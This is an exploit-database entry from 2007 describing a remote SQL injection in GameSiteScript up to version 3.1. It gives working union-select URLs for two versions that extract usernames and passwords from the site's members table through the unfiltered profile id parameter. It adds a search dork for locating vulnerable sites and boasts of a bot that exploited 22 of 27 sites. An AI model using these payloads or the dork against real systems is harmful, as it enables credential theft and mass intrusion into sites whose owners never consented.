GameSiteScript <= 3.1 (profile id) Remote SQL Injection Vulnerability

2007-07-07T00:00:00
ID 1337DAY-ID-2011
Type zdt
Reporter Xenduer77
Modified 2007-07-07T00:00:00

Description

Exploit for unknown platform in category web applications

                                        
                                            =====================================================================
GameSiteScript <= 3.1 (profile id) Remote SQL Injection Vulnerability
=====================================================================



###############################################
####### GameSiteScript (Profile)($id) SQL-Injection Exploit
###############################################
### Vulnerability Discovered By: Xenduer77
### ---July 7th, 2007
###############################################

{$id} Is passed straight to the query without being filtered.

###############################################
SQL-INJECTION:
###############################################

For Version 3.1:
-------
http://whatever.com/iindex.php?params=profile/view/'+union+select+0,username,0,0,0,0,0,0,0,0,0,0,0,0,password,0,0,0,0,0,0,0,0+from+members+where+id='1

Prior To 3.1:
-------
http://whatever.com/index.php?params=profile/view/'+union+select+0,username,0,0,0,0,0,0,0,0,0,0,0,0,password,0,0,0,0,0,0+from+members+where+id='1

###Tested by a bot on 27 sites, 22 were exploited.

###############################################

Dork: "Powered by GameSiteScript"

###############################################


#  0day.today [2018-01-08]  #